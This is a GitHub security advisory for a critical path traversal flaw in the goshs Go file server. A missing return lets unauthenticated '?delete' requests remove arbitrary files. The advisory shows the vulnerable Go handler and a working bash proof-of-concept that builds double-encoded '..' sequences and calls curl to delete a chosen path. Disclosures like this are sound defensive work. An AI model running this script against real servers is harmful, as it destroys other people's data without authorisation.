GHSA-6qcc-6q27-whp8

Suggest an improvement
Source
https://github.com/advisories/GHSA-6qcc-6q27-whp8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6qcc-6q27-whp8/GHSA-6qcc-6q27-whp8.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-6qcc-6q27-whp8
Aliases
Published
2026-04-03T21:58:47Z
Modified
2026-06-25T19:56:32Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Details

Summary

  • deleteFile() missing return after path traversal check | httpserver/handler.go:645-671

The finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/handler.go:645-671 Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)

The function detects .. in the decoded path but does not return.

func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
    upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))

    fileCleaned, _ := url.QueryUnescape(upath)
    if strings.Contains(fileCleaned, "..") {
        w.WriteHeader(500)
        _, err := w.Write([]byte("Cannot delete file"))
        if err != nil {
            logger.Errorf("error writing answer to client: %+v", err)
        }
        // BUG: no return, falls through to os.RemoveAll
    }

    deletePath := filepath.Join(fs.Webroot, fileCleaned)
    err := os.RemoveAll(deletePath)  // always executes

Root causes: Missing return after the guard makes the check dead code

Impact: Unauthenticated arbitrary file/directory deletion.

PoCs:

#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"

# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%252e%252e/"
done

# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")

URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"

echo "[*] Target:  ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")

echo "[*] HTTP ${HTTP_CODE}"

To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary


Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Database specific
{
    "cwe_ids":  [
        "CWE-22"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-04-03T21:58:47Z",
    "nvd_published_at":  "2026-04-06T22:16:23Z",
    "severity":  "CRITICAL"
}
References

Affected packages

Go / github.com/patrickhener/goshs

Package

Name
github.com/patrickhener/goshs
View open source insights on deps.dev
Purl
pkg:golang/github.com/patrickhener/goshs

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.1.5-0.20260401172448-237f3af891a9

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6qcc-6q27-whp8/GHSA-6qcc-6q27-whp8.json"